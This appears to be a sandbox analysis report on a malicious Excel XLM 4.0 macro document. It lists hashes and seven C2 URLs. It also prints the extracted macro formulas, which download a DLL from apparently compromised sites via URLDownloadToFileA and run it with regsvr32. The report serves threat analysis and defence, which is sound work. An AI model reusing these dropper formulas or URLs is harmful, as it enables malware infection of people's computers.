ea6a21803d465c9e0c230adaa81ce381d0673842319e671a857dc1ca94f53890

General

Target

ea6a21803d465c9e0c230adaa81ce381d0673842319e671a857dc1ca94f53890
Size

21KB
Sample

241119-ls5dxstmbs
MD5

c1355a86574424f10107141e260bc991
SHA1

526b67b8d18e00dc0aec57cf1f87f5be43165846
SHA256

ea6a21803d465c9e0c230adaa81ce381d0673842319e671a857dc1ca94f53890
SHA512

759c57a56b13b05c28b1483c7fb7f487a42dd9441718fbc5fbed3688a99df8031e42ca3fa226461a28ae1e387e056032f6f8bf5c8d743530cb732a1d68a97a6d
SSDEEP

384:OAuAi/NjNMS8EibbwBlw7SYrLb5CzgObff9kC+xbX75zSCCD:OosNRSzXnFCBn9kC+xbL5eH

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/

http://www.bmamone.com/88vKqPdoeC6c7mG/

http://bimbelui.com/ujianonline/qXg/

http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/

http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/

https://www.bovito.hu/modules/ihNZzatAdWd67ATz/

http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bmamone.com/88vKqPdoeC6c7mG/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bimbelui.com/ujianonline/qXg/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bovito.hu/modules/ihNZzatAdWd67ATz/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.bodyuppatientlift.com/cgi-bin/EetvDjAbvFD/

xlm40.dropper

http://www.bmamone.com/88vKqPdoeC6c7mG/

xlm40.dropper

http://bimbelui.com/ujianonline/qXg/

xlm40.dropper

http://www.arkpp.com/ARIS-BSU/cf0r3V6j5M3uSUI/

xlm40.dropper

http://blog.raceng.com.br/wp-includes/HncXOVGXHu4/

xlm40.dropper

https://www.bovito.hu/modules/ihNZzatAdWd67ATz/

xlm40.dropper

http://ballabhbhaisahab.com/cgj-bin/EFP7HOwsOGIQq/